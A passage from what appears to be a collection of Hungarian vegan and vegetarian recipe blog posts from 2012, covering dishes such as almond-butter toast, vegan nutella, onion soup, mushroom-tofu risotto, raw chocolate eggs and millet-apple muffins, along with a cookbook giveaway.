kell aprítani, pörgetni a mandulát, amíg krémessé, kenhetővé válik (recept itt és itt). Csináltam is már, de csak kis mennyiségben, amikor egy adag kekszet sütöttem. Most vettünk ebből is egy üveggel Imrééktől, natúrat, édesítetlent. Kiváló pirítósra, kekszek, sütemények sütéséhez, de fogyaszthatjuk snackként is, mondjuk alma, körteszeleteket mártogatva benne. Nálunk most a mandulavaj veri a földimogyoróvajat. :) A recept nagyon egyszerű, igazából nem is recept, csak egy ötlet arra, hogy ilyet is lehet reggelizni. Mindenkinek a saját ízlésére bízom, hogyan ízesíti a pirítóst, milyen gyümölccsel eszi. Mi juharsziruppal locsoltuk meg, a gabonakávét pedig kókuszcukorral édesítettük. A kávé nagyon krémes, selymes állagú lett a mandulatejtől. Fantasztikus! Ezzel a reggelivel biztosan délig tart majd a lendület. :) Mandulavajas pirítós mandulatejes kávéval Hozzávalók 2 főre: Pirítóshoz: - néhány szelet teljeskiörlésű kenyér - mandulavaj - juharszirup / méz / rizsszirup / agavé szirup - friss eper, szeletekre vágva Kávéhoz: - 400 ml mandulatej - 4 teáskanál gabonakávé-keverék (árpa, rozs, cikória) - 2 teáskanál kókuszcukor vagy nádcukor Az elkészült pirítós szeleteket kenjük meg mandulavajjal, locsoljuk meg juharsziruppal és tegyünk rá eper szeleteket. A kávéhoz melegítsük fel a mandulatejet. Két-két teáskanál gabonakávét egy-egy teáskanál kókuszcukorral és egy kevés mandulatejjel keverjünk a bögrékben simára, majd öntsük fel a meleg tejjel.
Vegán nutella - nem lehet abbahagyni
2012. június 2. Mindennapi ételeink
A sok-sok cseresznye mellé jól illik egy kis édes bagett és házi nutella. Tegnap este készült -befőzés közben-, ma ezeket reggeliztük. Hozzávalók: 1 bögre törökmogyoró 1/2 bögre napraforgó 1,5 ek. karobpor kevés víz (kb. 1/2-1 dl, amennyit felvesz, nem mértem) 3-4 ek. nyírfacukor 1 púpos evőkanál kókuszolaj Elkészítés: A mogyorót és a napraforgómagot olaj nélküli serpenyőben megpirítjuk. Majd kávédarálón ledaráljuk. Egy edényben a karobot, a darált magokat, a vizet és a nyírfacukrot összekeverjük. Összefőzzük. Majd amikor kihűlt, hozzáadjuk a kókuszolajat. Nagyon-nagyon finom és laktató szendvicskrém. :-)
Pásztortarhonya tepsiben sütve
A menzák gyakori ételét készítettem el vegetáriánus módra szójával, felturbózva jégsalátával. Hosszú évek óta nem ettem ilyet, most nagyon jól esett ízlelőbimbóimnak. Elsősorban téli étel, én sem májusban főztem meg, de valahogy kimaradt a blogra jegyzésből. A recept: Hozzávalók: - 50 dkg tarhonya - víz - olaj - só - 20 dkg szójakocka - ételízesítő - 1 nagy fej hagyma - fokhagyma - kevés őrölt köménymag - piros fűszerpaprika - majoránna - 3 dl növényi tej - újhagyma (vagy aprított medvehagyma) Elkészítés: A tarhonyát kevés olajon világosbarna színűre pirítjuk (folyamatosan kevergetve, hogy ne égjen le). Vízzel felöntjük, hogy éppen ellepje, egy nagyobb csipet sót szórunk bele, majd közepes lángon puhára főzzük. (Ne főzzük túl puhára!) Közben az előzőleg ételízestős lében legalább 30 percet ázott szójakockákat kinyomkodjuk. A feldarabolt hagymát vízben megpároljuk, majd a szójakockákat rádobjuk, átkeverjük. Szórunk bele fűszerpaprikát, egy kevés ételízesítőt, majd öntünk hozzá egy kevés vizet (kb. éppen hogy ellepje). Mikor már forr, hozzáadunk egy nagyobb késhegynyi őrölt köményt, és néhány gerezd felaprított vagy szétnyomott fokhagymát és egy nagyobb csipet majoránna is jöhet bele. Tovább főzzük, míg egy kicsit összesűrűsödik. Fogunk egy tepsit, kókuszzsírral kikenjük. A tarhonyát belekanalazzuk, elsimítjuk. Tetejére rárakjuk a szójapörköltet, szintén egyenletesen eloszlatjuk, elsimítjuk. Mielőtt a sütőbe tesszük, néhány deciliter növényi tejet egy kevés ételízesítővel és apróra vágott újhagymával (vagy ha van fagyóban, vagy olajban eltéve, vagy szárítva medvehagyma, akkor azzal) kikeverünk és ezzel megöntözzük a tarhonyás "húst". Kb. 35-40 perc alatt pirosra sütjük. Salátalevélen tálaljuk. (Télen ha esetleg nincs friss zöldség, saláta, akkor savanyúságot is ehetünk hozzá.)
Gyümölcsös árpa (gersli)
Az árpa fontosabb kenyérgabona volt a görögök és a rómaiak idején, mint a búza. Ezt jelzi az is, hogy a római Ceres isten árpából és nem búzából font koszorút viselt. Alacsony gluténtartalma miatt azonban az árpalisztből nem lehetett nagy cipót sütni, így végül helyébe a búza lépett. Az árpa gyógyító hatásának még napjainkban is találni nyomát, ugyanis a fogászatban gyakran alkalmazott helyi érzéstelenítő az árpa egyik alkaloidjának szintetikus változata. Az árpa jelentősége a sörgyártásban napjainkig jelen van. A gabonaszemeket először kicsíráztatják, majd a sarjadó csíranövényeket kiszárítják. Az így keletkező malátát vízzel keverik, majd élesztővel erjesztve, hordóba töltve sör készül belőle. Malátából készül a whisky is. Noha abszolút nem értek egyet az alkohol fogyasztásával, mégis érdekes információként osztottam meg. A sör és a whisky ugyan árpából készül, de egyátalán nem egészséges. Ez mutatja azt is, hogy nem mindegy, milyen technikával használjuk fel adott esetben az árpát. Máskülönben az árpa rostban gazdag táplálék, így mindenképpen a bélrendszert alaposan átmozgatja, rostjai által a bélfalakon lerakódott anyagokat tisztítja. Nem mellékes az a tény is, hogy magas magnézium, kálcium, kálium és foszfor tartalma van. Fogyasztható sós és édes ételként is. Most egy édes receptet osztok meg mindenkivel.A recept: Hozzávalók: - 25 dkg hántolt árpa - víz - 2 db körte - 2 db banán - 6-8 szem eper - 1 teáskanál biocsicsóka sűrítmény - 1 csapzott evőkanál gyümölcscukor (vagy ki mivel édesít...) - darált dió (kihagyható) Elkészítés:A hántolt árpaszemeket átmossuk, majd feltesszük főzni. A víz jól ellepje. Főzés közben tartózkodjunk a gerslitől látótávolságra, nehogy leégjen, vagy kifusson. Amikor a szemek már megpuhultak, és a víz is lefőtt róla, biocsicsóka-sűrítménnyel összekeverjük, majd hozzáadjuk a gyümölcscukrot és végül a felaprított gyümölcsöket. Díszítésként eperszemekkel díszítettem és darált dióval szórtam meg. Ez lecserélhető kókuszreszelékre is. De az általam felsorolt gyümölcsök természetesen nincsenek kőbe vésve. Téli napokon citrusfélékkel, kivivel, nyáron meggyel, cseresznyével vagy barackkal, szilvával is elkészíthető. Egy szó, mint száz fenséges - egészséges eleség reggelekre és desszertekhez. :)Tejberizs helyett inkább válasszunk gyümölcsös árpát. Jobban jár vele a szervezetünk.
Francia hagymaleves
Hagyma Janik
Franciaországban, Északnyugat Bretagneban, amikor a hagymát betakarították a breton férfiak, kölcsönvették a család biciklijét és annyi köteg hagymával a kormányon, amennyi csak elfért, lebicikliztek a tengerpartra. A hagymák célja Anglia volt; eljuttatni a korai hagymát az angol háziasszonyok számára. A Hagyma Janik (Onion Johnnies), ahogyan ismerték őket, hagyományos breton svájci sapkát és pulóvert viseltek, ahogy őseik is. Ma már nincsenek Hagyma Janik, de ezeknek a francia fickóknak a sztereotípiája ma is él.
A régi hagymák némelyike, amit anyuéktól kaptam, már új hajtásokat hozott, és a hűtőben volt egy nagy adag újhagyma is az anyósom kertjéből. Így aztán anyu és anyósom hagymáit felhasználva régi és új hagymákból készítettem egy finom hagymalevest. Pirított kenyérkockákat ettünk hozzá. Finom, gyors és egyszerű leves. Ráadásul én alig rajongok a hagymalevesért, de ez nekem is ízlett.
A recept:
Hozzávalók:
- 2 nagy fej (nálam új hajtásokkal gazdagabb) régi hagyma
- 3 szál újhagyma
- 3 gerezd fokhagyma
- 2 dl növényi tej
- víz
- zöldség leveskocka
- ételízesítő (ha a leveskockától nem lesz elég sós)
- fehérbors
- szerecsendió
- 2-3 szelet kenyér (kenyérkockákhoz)
- esetleg olaj
Elkészítés:
A régi hagymákat felkarikázzuk és egy teflon bevonatú edényben olaj és víz nélkül megsütjük őket. Amikor már sárgulni kezd, kb. 3 dl vízzel felöntjük és beletesszük a leveskockát. Amikor elkezd forrni, hozzáöntjük a növényi tejet. Az újhagymákat is csak ezután adjuk hozzá. Forr még egyet, csipetnyi szerecsendióval és/vagy fehérborssal fűszerezzük. Ha van otthon szikkadt kenyerünk, 2-3 szeletet felkockázunk, majd teflon bevonatú sütőben megpirítjuk. (A kenyér zsemlével is helyettesíthető.) Elképzelhető, hogy némi olaj, vagy kókuszzsír kell a pirításhoz.
Vegán májkrém: napraforgóból
2012. május 18. Mindennapi ételeink
Egyszerűen nem lehet abbahagyni. Tegnap kaptam meg a receptet, ma már el is készítettem. Hozzávalók: 1 nagy fej vöröshagyma, apróra vágva 10 dkg napraforgó - megpirítva, kávédarálón ledarálva 4-5 gerezd fokhagyma 2 t.k.vegamix 2 ek. sörélesztőpehely só 2 ek. extra szűz olívaolaj 1 púpos ek. kókusz olaj Elkészítése: A hagymát kevés víz és az olaj hozzáadásával fedő alatt megpároljuk, hozzáadjuk a vegamixet, sót, majd a napraforgót, az áttört fokhagymát és a sörélesztőpelyhet. Összerottyantjuk, majd a tűzről levéve, hozzákeverjük a kókusz olajat. Kihűlésig néha megkeverjük, hogy a kókuszolaj ne csapódjon ki. A napraforgót érdemes a Vegetár Kft-től beszerezni: finom, natúr és olcsó.:-) A miénk is onnan van. A recept szerepel majd A nyár ízei szakácskönyvben, amelyet most adunk át tördelésre, szóval haladunk :-)
Tönkölykocka
2012. május 16. Mindennapi ételeink
Nagyon eteti magát sajnos. Ezért ritkábban készítem majd. Hozzávalók: 1-1 bögre finomliszt és tönkölyliszt 3/4 bögre víz 3 ek. kukoricadara 3 ek. kókuszolaj só mák, szezámmag, lenmag, napraforgómag -- snidling Elkészítés: A liszteket, kukoricadarát összekeverjük, hozzáadjuk a sót, kókuszolajat, vizet. Összekeverjük. 30 percig állni hagyjuk, majd lisztezett deszkán kinyújtjuk és megkenjük sós kókuszolajjal, ill. megszórjuk magokkal. Előmelegített sütőben kb. 30 perc alatt, közepes lángon kisütjük.
Kókuszcukor … hallottál már róla?
Ma reggel láttam meg a boltban ezt a fura valamit. Kókuszcukor … kókuszvirág cukor … ízlelgettem a szót, majd kézbe vettem, néztem jobbról, néztem balról, és máris tettem a kosaramba kipróbálásra. Micsoda érdekesség! Erről a természetes édesítőről még nem hallottam. A csomagolás hátoldalán ezt lehet olvasni róla: Kókuszvirág cukor – a természet csodája Fogyasztása 5000 [...]
Gombás-tofus rizottó
"Ha egy évre tervezel, vess rizst;ha egy évtizedre, ültess fákat;ha pedig egy életre, akkor tanítsd az embereket"(Régi kínai közmondás) A rizs a világon a legrégebbi idők óta termesztett gabonaféle, amit több száz országban ültetnek. A világ gabonatermésének 30%-át a rizs adja. A világ rizstermesztésének mintegy fele olyan földekről származik, amelyeket teljes egészében kézi erővel művelnek meg. Az ázsiai hagyományos művelés során az asszonyok ültetik és gyomlálják a rizst, a férfiak pedig a talaj-előkészítést és az elárasztással kapcsolatos munkákat végzik.A rizs valószínű Kínából származik, bár Koreában is a legősibb termények közé számít. Magyarország területén a rizst a 18. század végén kezdték termeszteni.A barna, fényezetlen rizs fogyasztásáról a 19. században kezdtek áttérni - különösen Ázsiában - a fényezett rizsre, amelyről a vitaminokat és fehérjéket tartalmazó terméshéjat eltávolítják. Ezeknek a tápanyagoknak a hiánya a beriberi nevű betegség gyakoriságának növekedését okozta. A beriberi szingaléz nyelven annyit tesz: "nem tudom, nem tudom", és a tiamin (B1 vitamin) és más vitaminok, valamint ásványi anyagok hiánya következtében fellépő bénító hatásra utal. Tünetei egyebek között letargia és kimerültség. A beriberi vagy másnéven kakke, gyakori betegség Ázsiában.A fenti ismertető után következzen egy barna rizsből készült olasz étel - egy rizottó gombával és tofuval ízesítve.A recept: Hozzávalók: - 20 dkg barna rizs - 20 dkg csiperke gomba - 20 dkg laska gomba - 20 dkg füstölt tofu - 1 fej hagyma - 4 szál újhagyma - 2 nagyobb darab színesebb paprika aprítva (nekem a fagyasztóból került elő) - 1 zöldségleves kocka - 1-1,5 dl víz - ételízesítő Elkészítés:A rizst, miután alaposan megmostuk, bő vízben a leveskockával nem túl puhára megfőzzük. Az a jó, ha pergősre sikerül a rizs, és nem fő szét, hanem szép különálló szemek lesznek. Amíg a rizs fő, elkészítjük a többi hozzávalót. A gombákat megpucoljuk, alaposan megmossuk. Felszeleteljük. A hagymát megfosztjuk héjától és felaprítjuk. Fogunk egy edényt és feltesszük a hagymát. Én teflon bevonatú edényt használok, így nem kell hozzá sem olaj, sem kókuszzsír, sem víz, egyszerűen csak elkezdem pirítani a hagymát. Ha nem teflon bevonatú, akkor szükség lehet olajra vagy pároláshoz (egészségesebb) vízre.A sárgára pirult hagymához hozzáadjuk a gombaszeleteket, átforgatjuk és tovább pároljuk. Ha minden jól megy, a gomba ereszt levet. Kb. 1 csapzott evőkanál ételízesítőt szórunk gombákra. Miközben párolódnak, felszeleteljük a tofut. Amikor már láthatóan megpuhultak a gombák, hozzáadjuk a tofukockákat (vagy tofucsíkokat), valamint a felaprított újhagymákat és paprikákat. Átkeverjük. 1 dl vízzel felöntjük. A lényeg, hogy ne legyen nagyon szószos, pörköltes állaga. Közepes lángon megvárjuk, míg rottyan egyet. Majd a pergős rizsszemekkel összekeverjük.Friss újhagymát és retket raktam a tányérra hozzá, de ha lett volna itthon ecetes vagy kovászos uborka, minden bizonnyal azzal is kipróbálom.A rizs főzési idejét leszámítva ismét egy gyorsan elkészíthető étellel állunk szembe. Aki fehér rizst, sőt gyorsrizst használ, annak minden bizonnyal belefér a 30 perces készítési időbe. A barna rizzsel ez kb. 15-20 perccel tovább tart, de megéri. Jázminrizzsel és vadrizzsel is nagyon finom.
Egybesült fasírt
Gyermekkoromban édesanyám gyakran készített ehhez hasonló, aránylag gyorsan reprodukálható fasírtot. Minap volt egy adag főtt rizs itthon, gondoltam, most nem pepecselek azzal, hogy formában süssem meg a fasírtot, viszont egyedibbé varázsoltam azzal, hogy kétfajta masszát készítettem, és azt simítottam egymásra. Igazából én szeretem a fasírtféléket. Praktikusan több mindenhez fel lehet használni. Nos, ez is egy ilyen étel. Mondjuk mi petrezselymes krumplit medvehagyma-ágyon és friss zöldségekből összedobott salátát ettünk hozzá. De krumplipüré is jól passzol. Vagy valami pékárú, mondjuk kenyér, vagy zsemle, vagy kifli. Bármikor szívesen fogyasztok effélét. Az érdekessége az, hogy másnap, amikorra már teljesen megszikkad és összeérnek az ízek, számomra sokkal ízletesebb, mint frissen sütve. Kiválóan alkalmas kirándulásokhoz is. A recept: Hozzávalók: - 30 dkg barna rizs - 1 csomag szójagranulátum (20 dkg) - 1 bögre zabpehely - 2 csapzott evőkanál fűszerpaprika - őrölt kömény - 6-8 gerezd fokhagyma - 1 nagyobb fej hagyma - ételízesítő - petrezselyemlevél aprítva - olaj/kókuszzsír - szezámmag Elkészítés:A rizst, miután alaposan megmostuk, bő vízben megfőzzük. A szójagranulátumot ételízesítős forró vízben minimum fél órát áztatjuk. A puhára főtt barna rizst a megpuhult, kinyomkodott szójagranulátummal összekeverjük. Zabpelyhet (apró szemű) keverünk hozzá, hogy egybe tartsa a masszát, valamit a benne lévő nedvességet magába szívja. Ezek után már csak a fűszerezés hiányzik. A fokhagymát, hagymát apróra vágjuk, szintén hozzákeverjük. (Nem dinszteltem, nem pirítottam, de aki úgy jobban szereti, csinálja nyugodtan.) Kb. 1 evőkanál ételízesítővel, egy csomó aprított petrezselyemlevéllel, egy mokkáskanálnyi őrölt köménnyel ízesítjük. Az egész fasírtot is megszórhatjuk fűszerpaprikával, vagy két részre bontva csak a felét.Sütőpapírral bélelt tepsibe elegyengetjük. Egy kevés olajjal, vagy kókuszzsírral hozzásegítünk a piruláshoz, majd mielőtt a sütőbe tesszük szezámmaggal (és/vagy lenmaggal) a tetejét meghintjük.Kb. 40-45 perc sütés közepes lángon. Ha vendégeknek készítjük, már előző nap is összehozhatjuk, mert, mint említettem másnap finomabb.Tálalásnál friss zöldségekből összeállított salátát, vagy majonézes salátát adhatunk hozzá.
zöld reggeli & smoothie
gyerekkoromhoz képest eléggé megváltoztak reggeli étkezési szokásaim. akkoriban első dolgom volt felkelés után enni, mivel egy ritka vérszegénység miatt az orvosok szinte kötelezővé tették, hogy egyek reggel, nehogy rosszul legyek. később ezt felváltotta a kávé, majd a "délelőtt-csak-gyümölcsöt-eszem" és a zöld tea. azóta már egy léböjtkúrát is "túléltem", és rájöttem, hogy nálam is működik, és nem kell félnem a "nem-evéstől". egyébként sokkal több energiám van azóta, hogy gyümölcsöt (vagy azt sem) eszem kb 11-12-ig. azért megtartom az arany középutat, a kávé és a reggeli is megmaradt az életemben, csak most ritkábban és általában délután szoktam élvezeti kávézni, hálát rebegve az egyre szaporodó olyan helyek felé, akik növényi tejet is tartanak. a komótos, tartalmas reggeliket pedig a hétvégékre időzítem, amikor meg tudom adni a módját és a nekik kijáró tiszteletet. a gyümölcs elfogyasztásának többféle verzióját követem, sokszor - meglepő módon - csak megeszem, úgy ahogy vannak, de egyre többször turmixolom le a különböző fajtákat, és kísérletezem, hogy melyikhez milyen fűszer illik. persze a gyümölcsök önmagukban is zseniálisak, de mostanában rákaptam az egészen vad verziókra. ezt pedig smoothie-nak hívják. a májusi elle magazinban olvastam egy cikket kris carr-ról, arról az amerikai színésznőről és modellről, akinél 2003-ban rákot diagnosztizáltak, és aki az orvosok lemondó nyilatkozata ellenére élni akart, és egy életmódváltással kigyógyult. a cikkben (több szimpatikus recept és tanács mellett) olvastam a zöld smoothie-ról és azonnal megtetszett. azóta különböző zöld italokat iszom reggelente, és tetszik! ismeretségi körömből kiindulva, lehet, hogy sokaknál kiveri a biztosítékot, de adjatok egy esélyt, maximum nem jön be. zöld smoothie ehhez a verzióhoz összeturmixoltam egy zöld almát, 1 kisebb avokádó felét, 1 nagy marék megmosott és lecsöpögtetett spenótot, egy kis darab gyömbért és egy fél citrom levét és egy kevés vizet. az alma helyett használhatunk banánt, körtét, vagy kivit. a spenót helyett keverhetünk hozzá mangoldot, ezek a zöldek emésztést elősegítő vitaminokban és klorofillban gazdagok, méregtelenítenek és tisztítanak. az avokádó helyett, vagy mellett rakhatunk hozzá kígyóuborkát is, és gazdagíthatjuk további zöld fűszerekkel, petrezselyemmel, mentával, vagy turbolyával, valamint víz helyett adhatunk hozzá kókusztejet is. s hogy miért e flancos név, miért nem hívom egyszerűen turmixnak? egyrészt ahogy kicsit utánaolvastam, a smoothie nem tartalmaz tejterméket, a turmixokat pedig tejjel készítik. az én gyomrom pedig nem szereti önmagában a tejet. másrészt miért ne flancoskodhatnék, ha éppen ahhoz van kedvem? :)
Medvehagymás rizottó és házi kókusztej (tv verzió)
2012. április 29. A vegán szépség
Vadrizs saláta babbal és avokádóval pirított szezámolajos öntettel + nyereményjáték
2012. április 25. Zizi kalandjai
Amikor elindítottam ezt a blogot még nem tudtam mi lesz belőle. Aztán elkezdett alakulni, testet ölteni és mára a gyermekem lett. Hazugság lenne, ha azt mondanám, a blogot csak magamnak írom, hogy a receptek egy helyre legyenek gyűjtve. Szuper, hogy rendezetten megtalálok mindent egy helyen (+ még a Moleskine receptes naplómban, ami már olyan kövér a kinyomtatott vagy újságokból kivágott receptektől, hogy alig lehet becsukni :)). Ez a blog tehát neked és nektek is szól. Egy fejlődési folyamatot kísérhettek végig, ahol nem az A-ból B-be való eljutás a cél, hanem az út, amelyen haladok és kalandozok. Köszönöm mindenkinek, aki járt már nálam és visszajár vagy ezután fog még csak ide tévedni. Néhány hete már kihirdettem a Facebook oldalon, hogy hurrá, éljen, elértük a bűvös 1000 fős tábort, szóval hamarosan nyereményjátékot hirdetek. Végre itt a játék. A nyeremény pedig - szerintem - nagyon szuper... én legalábbis nagyon örülnék ennek a szakácskönyvnek, ugyanis nekem még nincsen meg! :) Ezek szerint szakácskönyvet lehet nyerni? IGEN! Melyiket? - kérdezitek, ugye? Hááááát... ezt! Havas Dórát, alias Lila Fügét már ismerem egy ideje. Nagyon szeretem a blogját, mert néha igazi gyöngyszemekre bukkanok nála. A szakácskönyve letisztult, könnyen olvasható, átlátható, csodás képekkel és finom receptekkel (még a vegák is találnak maguknak benne sok-sok újdonságot!). Szóval azt gondoltam, hogy ezt a könyvet sorsolom ki.* Hogy mit kell érte tenni? Írjátok meg nekem ide kommentben, hogy miért szerettek a blogomra látogatni, melyik a kedvenc receptetek vagy milyen recepteket szeretnétek látni még a blogon? Aki növelni szeretné az esélyét a nyereményre, megteheti még a következőket: 1. Lájkolod Zizi kalandjait a Facebookon.** 2. Facebook oldalamon (ahol ez a blogbejegyzés megjelenik) megosztod a nyereményjátékot. 3. Követed Zizi kalandjait a Twitteren.** 4. Megosztod a nyereményjáték hírét Twitteren, kiteszed az alábbi mondatot az üzenőfaladra: Lila Füge szakácskönyvet nyerhetsz @ziziadventures nyereményjátékán. Info: http://bit.ly/JEczZB. #nyereményjáték 5. Követed Zizi kalandjait a Pinteresten.** Tehát, ha minden lépést megtesztek, hatszoros eséllyel indultok a nyereményért! :) * A nyereményjáték saját befektetés, nem a könyv szerzője és nem is a kiadója szponzorálja! **NE FELEJTSÉTEK EL: bármelyik lépést is teszitek meg, mindegyikről írjatok egy külön kommentet ide, hogy követni tudjam ki mit csinált! Ha már korábban lájkoltad a Zizi kalandjait Facebookon, meg már követsz egy ideje Twitteren vagy Pinteresten, erről is adjál hírt itt, mert csak így tudom összeállítani a nyereményért indulok névsorát. A játék 2012. április 25-én kezdődik és május 6-ig várom a kommenteket. A nyereményt személyesen lehet majd átvenni Budapesten vagy tudom postázni is, de csak magyarországi címre. És akkor a recept... ez inkább télfelejtő, tavaszváró recept. Első alkalommal leveleskellel készítettem el, második alkalommal már spenóttal. Került bele vadrizs és barnarizs keveréke, fehérjében gazdag bab, valamint tápláló, sok proteint és olajat tartalmazó avokádó. Az eredmény egy tál meleg, tápláló, vitamindús, laktató saláta. Nem érdemes kihagyni! Vadrizs saláta babbal és avokádóval pirított szezámolajos öntettel Hozzávalók 2 főre: Salátához : - 1/2 csésze főtt vad/barnarizs - 6-7 nagy levél leveleskel vagy 300 g spenót vagy mángold, felaprítva - 1 avokádó, kimagozva, felkockázva - 1/2 csésze bab, beáztatva éjszakára, leöblítve és megfőzve - 2-3 gerezd fokhagyma, felaprítva - kókuszolaj vagy olívaolaj - só, bors Öntethez : - 3 evőkanál pirított szezámolaj - 1 evőkanál rizsecet vagy almaecet - 1 evőkanál szójaszósz - 1/2 citrom, leve - bors Külön külön lábasban főzzük meg a rizst és a babot (kb. 1,5 óra kell a rizsnek és a babnak is). Közben készítsük el az öntetet: a hozzávalókat keverjük jól el egy tálban és tegyük félre. Készítsük el a zöldségeket. A zöldek mehetnek a salátába nyersen is, de egy 1 evőkanál kókuszolajon vagy olívaolajon és 2-3 gerezd fokhagymán, kevés sóval és borssal megpárolhatjuk kb. 10 perc alatt. Öntsük egy nagy tálba a megfőtt rizst, babot, a leveleskelt, az avokádót és öntsük le az öntettel.
Almapuding-torta nyersen
2012. április 23. Napló étkeinkről, életünkről
Régóta keresek olyan módszert, amivel olajos magvak, gabonák és aszaló nélkül, nyers gyümölcsökre alapozva tudok finom nyers vegán édességet készíteni. Végre sikerült! Reszelt almát kinyomkodom, ízesítem, és a levéből annyit teszek vissza, hogy az útifűmaghéjjal sűrű puding állagú legyen. Ez alkalommal szilikon formában még keményedett egy kicsit, majd kivettem belőle, és a lányom kedvéért kókuszzsírból, mézből és kakaóporból bevonót készítettem rá. Páromnak csak egy kis szeletet sikerült félretenni, és ahogy láttam, gyermekeim még annak a széleit is levágták :-) Jól illik az almához a mazsola, mák, citromhéj, fahéj, kókusztej - én leginkább ezekkel ízesítem. Eszközigény: nagy-lyukú reszelő, (lehetőleg szilikon) tortaforma
Szivárványos napok
2012. április 21. Napló étkeinkről, életünkről
Tegnap epret ültettem, amikor rázendített az eső, és ahogy jött, úgy el is ment, csak én maradtam kissé vizes. De az égbolton feltűnt egy szivárvány. Nem kellett sokáig várnom az újabb lehetőségre, ma reggel kerékpáron ülve kapott el az égi áldás, és ismét csurom vizesen gyönyörködhettem sz égi csodában :-) Sajna a szivárványt nem fényképeztem le, így csak a mákos-almás-pudingos ebédről készített kép került ide :-) Elkészítése nagyon egyszerű: a reszelt almát összekeverem darált mákkal és beáztatott mazsolával, a kókuszkrémet pedig az édes mazsolalével, és útifűmaghéjjal. Az útifűmaghéj még ritkán szerepelt az étkeimben, ezért nem vagyok biztos a mennyiségben, ezért kísérletezni szoktam: teszek bele egy keveset, és ha félóra múlva is még híg lenne a massza, akkor teszek hozzá valamennyit. Persze lehet, hogy egyszerűbb volna, ha elolvasnám a használati útmutatót... A nagyobb fiam teljesen odavan a kókuszpudingért, így az utóbbi napokban ő is készít magának 1-1 adagot.
Csokitojás /Raw chocolate egg/
Emmának hozott a nyuszi egy műanyag tojást ami összecsukható, átlátszó formában ( csomagolásban) volt. Az az ötletem támadt, ha már csupa csoki minden a konyhában, ezt a formát is bekenem, hátha sikerül házilag is szép csokitojást készíteni. Ecsettel 2 szer bekentem a forma belsejét, majd amikor megszilárdult a csoki, tölteléket kerestem. Kéznél volt egy banán és maradt sárgabarack így ez került a tojásba. Csokitojás: Csoki: kakaóvaj vagy kókuszolaj, esetleg vegyesen kakaópor édesítő, xilit, méz vagy stévia... Vízgőz felett mindent összeolvasztunk. Ecset segítségével a forma belsejét kétszer kikenjük csokival. Részletes leírás a nyers csoki készítéséről Gittánál találhattok. Töltelék: banán citromlé méz útifűmaghéj sárgabarack A banánt villával összenyomjuk, hozzákeverünk 2 kiskanál citromlevet, 2 kiskanál mézet, és 2 kiskanál útifűmaghéjat. Ezt a formába töltjük egyik felébe egy sárgabarackot is teszünk. Amikor ez kész a még folyékony csokoládéval körbekenjük a tojás széleit, majd összecsukjuk a formát. Így pihent a hűtőben néhány órát, majd kivettük a formából a kiálló részeket késsel levágtuk és megettük... A forma összecsukva
Töltött csokitojás / Raw Easter Egg /
Íme a ma esti desszert. Sikeres kis tojásokat készítettem, azt hiszem főleg a gyerekeknek jött be, imádták a fanyar málna ízét a kellemesen édes kesukrémmel és csokoládéval... Töltött csokitojás: Csoki: kakaópor, kakaóvaj vagy kókuszolaj, méz vagy egyéb édesítő Töltelék: málna aszalt sárgabarack Kesukrém: 100 gramm kesudió beáztatva méz víz fél citrom leve késhegynyi vanília Mindent turmixolunk, amíg krémes állagot kapunk. A csokit összeolvasztjuk , elkeverjük. Lufikat fújunk fel csak picire, és ezeket belemártjuk a csokiba, majd tálcára tesszük. Érdemes többször is belemártani, így vastagabb lesz a csokiréteg a lufin. Hagyjuk megdermedni, esetleg hűtőbe is tehetjük. A lufikat kiszúrjuk és kiemeljük a csokiból. A csokiformák aljába 2-3 szem málnát teszünk, ráöntjük a kesukrémet és ráhelyezünk egy aszalt sárgabarackot. Kész a csoda tojás. Hűtőben pár napig eláll... Csokiba mártott lufikMegjött a nyuszi:)
Köles, zab és alma muffin
2012. április 6. Zizi kalandjai
Ezek a csodás muffinok egy szentendrei piknikezésre készültek. Puhák, finomak, hamm bekaplak falatok. Életemben először használtam köleslisztet sütéshez. A köles finomra őrlésével készül, használhatjuk süteményekhez, főzelékek sűrítéséhez vagy kenyér sütéséhez is (lisztérzékenyeknek kiváló). Nagyon jó a tapasztalatom, érdemes lesz több süteményben kipróbálni. Ti sütöttetek már kölesliszttel? Fotó: Béatrice Peltre engedélyével A recept Béatrice Peltre La Tartine Gourmande - Recipes for an Inspired Life - c. könyvéből származik. Béa blogjának jónéhány éve rajongója vagyok már. Amikor megtaláltam, rákattantam és végigmentem az összes bejegyzésén. Szerelem volt első látásra. Példaképnek tekintem őt, akitől nagyon sokat lehet tanulni. Aztán tavaly tavasszal, amikor megtudtam, hogy a londoni Food Blogger Connect konferencián workshop-ot fog tartani... nem volt visszaút. Befizettem a konferenciát, időben lefoglaltam a repülőjegyet és irány London. Az élmények, amelyek a konferencián értek, örökre megmaradnak. Életreszóló barátságok születtek, rengeteget tanultam és olyan mértékű inspirációt kaptam, amely azóta is tart. A workshop fantasztikus volt, abban a néhány órában szinte fel sem fogtam, hogy egy olyan ember mellett állok és tanulok tőle, aki nagy példaképem! Béa könyve hivatalosan idén februárban jelent meg, de már tavaly októberben elő lehetett rendelni. Nem volt kérdés, hogy ez lesz a szülinapi ajándékom. A könyvnek két nagy fejezete van. Az elsőben a konyháját, a kamráját ismerhetjük meg, az általa leggyakrabban használt alapanyagokat és alaprecepteket, főzési technikákat mutat be. A második rész a receptek gyűjteménye, ezen belül vannak reggelik, ebédek, vacsorák és desszertek, amelyeken belül különböző témákban vannak felsorakoztatva a receptek a Béatól megszokott gyönyörű fotókkal illusztrálva. Béa nem vegetáriánus, de a szakácskönyvben alig vannak húsos receptek, szóval örültem neki, hogy szinte az egész szakácskönyvön végigmehetek és nem igazán kell változtatnom a recepteken, hogy számomra is fogyaszthatóak legyenek. :) Több ételt elkészítettem már, most először ennek a muffinnak a receptjét osztom meg veletek. Egy-két apróságon változtattam csak (vaj helyett kókuszolaj, quinoa liszt helyett pedig kölesliszt került bele). Köles, zab és alma muffin Hozzávalók 10-12 db-hoz: - 60 g kölesliszt - 30 g zabliszt - 50 g zabpehely + egy kevés a muffinok tetejére - 50 g kókuszvirág cukor (helyettesíthető nádcukorral) - 1 teáskanál sütőpor - 1/2 teáskanál szódabikarbóna - 175 g alma (kb. 2 db), meghámozva, kimagozva, lereszelve - 2 db bio tojás - 50 g kókuszolaj (helyettesíthető vajjal) - 2 evőkanál tahini (szezámmag krém) - 1 teáskanál tiszta vanília kivonat (helyettesíthető 1 vaníliarúd kikapart magjaival) - csipet só Melegítsük elő a sütőt 180C fokra és béleljük ki a muffintepsit papírkapszlikkal. Egy tálban verjük habosra a tojásokat a cukorral. Adjuk hozzá a tahini szószt, a kókuszolajat, a vaníliát és keverjük össze. Egy másik tálban keverjük össze a 